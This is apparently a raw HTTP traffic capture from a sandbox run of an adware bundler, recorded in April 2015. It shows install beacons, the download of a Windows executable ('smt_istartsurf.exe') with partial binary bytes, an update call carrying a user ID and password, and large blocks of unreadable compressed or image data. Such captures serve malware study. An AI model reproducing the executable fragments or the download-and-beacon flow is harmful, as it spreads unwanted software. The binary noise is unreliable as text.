..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._.1..[d80)....{. . .v...i.....
'..*..........B.!q..7p...1..r.....3... [email protected].]....Z....L.. a4.4.T
...d..N..z.N(.....N.-...R{..I?~..6}.,.^B..\.^[email protected](..&>p.
0..G......".......w..h.a...#....D.....3........."6e...5...vU..z..c....
y~......&.K../..!...e.(..F..U.........$.i.....k....D....-........?....
...C.......S..M.6/7..U...j.............H3..E......vB.88.a....=.v'@..W8
. ...x....1..8..n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<
..^[email protected].!3F .4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{
8......u.Wk.iV.5..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8b
c.....9....qc<...P.5w..#.mI.....?. .e.."Q. }...-.H.Bju.\ZP..iJoZG..
5j.)..l.........;...w..z....x.?lk... .|...{(.E.w.q..Cve. . 7...d.[....
<s0.....].9....xl..l.&J-.RL......\P..-yX....T. .5..5.....c....m6...
.<..Q.j.#.U0/.#...T..:[email protected]..%;.....V.<...._....-g....!.ea.5..
[email protected].].........{pjG,`].....Y.H.v..l.?...#..QX6.c..bK..Mz.
m....{.E..n..g9..>j.n./..!...e.(..F..U.u.....".........k....D....-.
.......?.......C......J.{z.F...ja.S..q......'.pZ.Z.......B...... .<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.9453808587588621 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:55 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:34:55 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]......."....
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /analytics.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 06:32:16 GMT

Expires: Sat, 18 Apr 2015 08:32:16 GMT

Last-Modified: Wed, 08 Apr 2015 20:30:30 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11178

Age: 3856

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=1
...........}{W.....|.....'.$@/....w..m.=.].$BJHR..R.......l.2.9.}...y.
.%..t...H...(...evG....X...v...&.....8.....B..=...}.;oT(E.]e&.e.;2>
..q..W..[......2....Z.2.gIp&su...2.&.,..,.Tfdn....u...N...w.<......
T.o...3.....p@..%.p.$F..........M6..,.....O..D..D.2C.O..l...xH-.T....S
.Z*..sJN&CjfB.gS.u.]PbBM.fJc8A......L....%.$ .._....Jhs,g.....(.<..
..i.f.....<[email protected]*J.0...e=.Fg...9
..b,..../.q...I.c<..v............X..*).......4.H..u.7o.U.....hI...%
../c7TR.i..,...t{"M..t.U....z=r_iou5..Q|<.S.t.~.Kn|.kno.....h..%}3.
ZH..G..<}.....W......}w....O..|...U...~...F...l.../~].n476.........
A.Nd...h......v....A........s....!.<"/..s.LQj.R...3......>.T.j .
.Fm...Z.."...z..2..m..K..4.&..E.D..H(B........vU/[email protected] t..Q....n...
V.}.V.>.......%n,B.\.f3.....{{|L......q.....N....U8.o..||......Z(.7
.?.5t.|<.w..D...5.C....C1St........6.`.7....Hh.Q...L..#;..V...o....
/...........ZA0..bu.`{...cpFch....z.....fNN3.H..t.f.z....B...P.;....)`
.....x.z............Jh:.......O.....Ls32Y.6(L......Z...R.p....g....S..
\.#.&..q<..sq!o......"i...$.pR..@....?..t9.!..#E.......AQ1q.:XhL'{.
...L.]...}..e..F.....(...CL.$....)3!.C....k...I.O.-..{.G....\.ZX*K....
.g...b.....q...z.....sq.t....L...MhZ...wZG.G....Db.:..mC."X_.tm1..[..T
.^......7B.$.TP.A_#.........K? ...}O.>...K...P..D.G...F....{...O../
....$N%.....g.j.Z.7E..3D...n."u...6M.dE}:#..?......Y.}PI.....$....pj..
f3\BR.-T.!.....c.vj..D(..q.a`Js..g......Yq. .t'.L.c.u..u..i..j..-.o.j7
T..f.5..F.4..<....K.Spt.........GK..`%*jk...H1...c......t.=.\.8<<< skipped >>>

GET /r/collect?v=1&_v=j35&a=1093328678&t=pageview&_s=1&dl=http://VVV.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=AEAAAAAAI~&jid=54076133&cid=408066396.1429342593&tid=UA-42656881-1&_r=1&z=1705283251 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Sat, 18 Apr 2015 07:36:32 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429342544&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=vh3c4yyc30gmbcnaspwwgpn2


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 100546

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Sat, 18 Apr 2015 07:35:44 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /22693.ashx?e=KSz5qzb2KgIHmSWm27gjw8xFQhk7Y4nTp1gvyxGmYnz8ln8Iap23/wrmOSgIBLqiUA7dl9owwhJifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngjSag0uP4abcFjCwIjKziMWX1FtTkCv6XG80jV2uovIOGEm1J4RWiGmw6kHnR XV4QBZGQjpShx/0JQd5HxgIXdMIzvZcoSLL0kDktUKy8XV3R8ATgFru7cR fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGsEjASvIF4HowjBvngg2HVG/6pH veTXixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:36:18 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: symfony=n891rv0e2muin5d9k982g6l523; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip
17b0.............][s.Hv~._.....D..j[..%...(*.m.xj....$,....dyg.R..J...
&O...!....C.Ivry._...H....mC.].H...s......_......u.(........m....Su[.w
.;.W{..........A....E.s.".Q.M......p..q2....;>...._nd.'./.Z[_=.?..8
......m...n.AOC..7[,j......y>b../.2..32J...V....,..q<.......c.M.
o|:.......5..ps-..C.....Hv9a.k.{...k..c.Q`).l.....fk...(..cx.....V.._.
3..h..ls...V....":f..da...d..=......Y..X.&..#..Y..$HI6bXD...].v.%q..:.
.4....4##.b..xJ. u.s..Q..O`d.N.8..?a... .M..'\[..f.8...$..Y.D.........
....#."........m.o.. .}.p#ui.6At.&:c..q..U,...c.9.c...l.6.............
...$..._....;......tX.:N.....uk.;...}.L9..R [email protected]
Bm..Z....E...(......qK.. ..1..O.-_...n.....>..a0.eN.n>c....TE.[z
N..-.&../....2....0pR...S.\..`.J.F...o...s.....l.4..Y.$...mL.U?.mZ./]e
.x..]H.1x..h...',f.G.. ......!..i....8XO....z.N..O~.|..2g.mH..,p......
.........M......?.u>.>).%....~.....x"L...1M..18y..7...pS...!wh..
?yF7!G..7......'..i..;dYy }q...Cpp..^....hz...2^q..>....`...cB..,.^
0...1....7O._..._.{...n}.....Z!~.).Ag..e....)F....g_.s.......u.....).n
X..!..%........gR.y|....s...W...fq&..;.w..j/8'.....h.7.....zc...;"....
......d~./f..f..a.i......4.F...........q.....>.....@.../..(.3..`<
;,.D0.......N.-....>.ON.h....ai.KU.5..Br..\.....->........*.....
.....N...9.../.?...%...../.NI...e&2EP.`.......... .\.2....l4.;...Tth..
D,...b.....h.G.e.u.A..3.$I....g..#L.a...CK......`!.f d>......l....-
l..v^..85.A....6l0.)...j.?..,..l..).."...4...j...-*...})..G.I.....G.M.
..(...AMPTQV.. ..,.P..ReJe.).....k9....\a..?...Sivjr>1;....r.l.<<< skipped >>>

GET /css/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: text/css

Content-Length: 0

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-0"

Expires: Sat, 18 Apr 2015 08:06:31 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes

....

GET /css/product.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:31 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /css/lightbox.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/jquery.smooth-scroll.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
51e.............Vao.6..._...!6,m..6H...-.a-.-......:I.iI........(9....
.....;...G._..y.........]Q....U...Y7....%.b...5|/...u.{.D.-....p.mxu.]
......7..w..Q......o/F.wE.X.43....**.]?@..*.|4B{ZI.k..&...L..._n<..
...?N....5....F_$...1e8.?<<..D...$..J.#p=.).f..2 Ov.ysl...ef.]..
...Y.4.4....i.oo.H.V`.*.$...BB0.....yJ...WK.......!p....ZS...k.1.,V.l6
.......G.......qpS.~d2U3.2{:.iU...v......r.un....x .s.7...pG.....aA..M
.....j..%......c.S...}....d.9.>QUm|k.!OMF0X`u....u4..zZp..M.....G"N
..6,..|18....b.!<L..3$.......r&..C ..l..'.........Y.:...O...L...h..
.k..Uz....C`..X..h...$H...b.....0Y..),.Y..\..8...._"...V...0..._..4..'
.....4.{gYQ....:x..]w~4......oD..r/x9.W.).........P8..:#........c..,8O
........6...&x.."u.C..E..U`..y2.1.....uD.X1U.. Ye..k..u....#........E.
...&.......icVVp....U= H...).:r..0<...j.oC.".....).mx..vxls.B.\...i
JU.0U1.c..`....?.../Rd;f:E..u1.%..'m......'.%.K$.R...N.jj......A_.H...
..a6._...].G'.L.u.....k..$Q..nJ..4Z...w....6{..2d........2......E...P.
.....D.?.}^...B?.. ...<.Ko......z."[email protected]!.#.&w.
.I...Ill...lI.>......:\-..\G............)^,L$.w.^..X.EW...... .....
hL..S....x.^b.j....].Ib........_9A.7DS...*..Vy...Y..=........\"..v..[.
...=T5.s.......'.?z"..]...|N}...K..._... l%.....?..[z..:1....{......p.
.6.?......pa.?...7...N.....=N.*6....0...O.?^...........W..=.gx.B...-..
..{.-......0......
<<< skipped >>>

GET /images/logo.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/jpeg

Content-Length: 5807

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-16af"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......<<< skipped >>>

GET /thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 116206

Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT

Connection: keep-alive

ETag: "51ba0702-1c5ee"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...y.mGU/...j
...>}[email protected]#~..\.@@}.(".<..{A.."......J.A...AHBh.D
........j.....Ys5.............Y.....(z.O.......HU.H... 0..h.0Q_..?....
@...W...<.$b...-..T?.J...".. p*\.LZ.......Q)1......h.....KT...].4..
.%u..E.h.S.1:........d.<.s.AK....V....K.d..G....m .Q.~....F.<5Z.
....Uk5}.j.n.......B.Q@%. [email protected].*H?G....D..%H...b..i...E.bf...5M3
.7~..c. &ff.w.-.. 1..C.c.!......w.....mv......jYt......9&.....0"T....H
EI..L_4....S...$..,...N.l*P.B..A....\..QU!...@U4B.%.HT...*..bT..%h..A.
D..Q.&.9..heuu...;..]..o......v.......|..C.7.O.M...t...m..0.B'.b..j8..
.1\t..kR...#...uT.i..Hu...>Q..[d...R.J.vE.I..c..@>....R..."=...f
.I.w....a@\.s*..D=uI.....3.?bw..d...tE....n9n:....V.S....3...4..B.....
P..<C.a..NN=..G....<.4..R..#..\..R..PQ.(....H..#i.......D..JQEEU
Db...1...Q.....e{...j.b...Jl?2.cfG.`I..*A..*g.'..r$..j..H.U.....Y.~..Z
.....FT...S5N.P...*...y.5.v...~TUUDD4....b#ff&b&.).1...rD.&..m../|..2.
...XS...f4.J.._.......j..h.ZtKL...R....i....Y..f^..0..)s.j..,.Y......`
.3:L..z....................D....D.E....Y.*.s../~.2.>l3.."M.hn...C..
.j...Z..;...;G...j!#C...9v12......(1J'.E$.$.o.vZ...".%. .c...%.(b.JT..
W.F...S."...9&..1.#v..1.*.T..*$..J...i......2%..y.U..^.`9.Z....P-}HRB.
.. W.~.1....<;;:..DUEEDb.(....1..9b...9V.9.....X5....?..1.dy}...p.f
{. O4..Z.S1.P...p......u...,.......hZF...tk$]0...c.7...X6..b7....=....
P^....L..f...$.%....n....)U..*-.. ....j4.............,..tI{.fdoa...!s1
.......s.i..L9A...FC.e...F.GO.....(Q..w1.....D.9.`R.3........3.9..<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 173932

Last-Modified: Thu, 13 Jun 2013 17:00:48 GMT

Connection: keep-alive

ETag: "51b9fac0-2a76c"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w..G.8.^U.
...9h....%Y.ec..9c.1`...8L<8...w...3..q&...q..c.c.. ..........6....
.....LOOO.J ~..i>.....W..zU...0...{.N... .f........\.!S...9K.[..4_.
... ..D$N.O..}....'.\.QQSU..\Y..$.R....9.......@B........ .......a..zh
.._&.#..$.$_..[....W0.IB..........S...[..A..B0....B..........}.S.e.}..
....}..8...\c.D2...\[email protected]`*99.y....#1.lHa..k:.
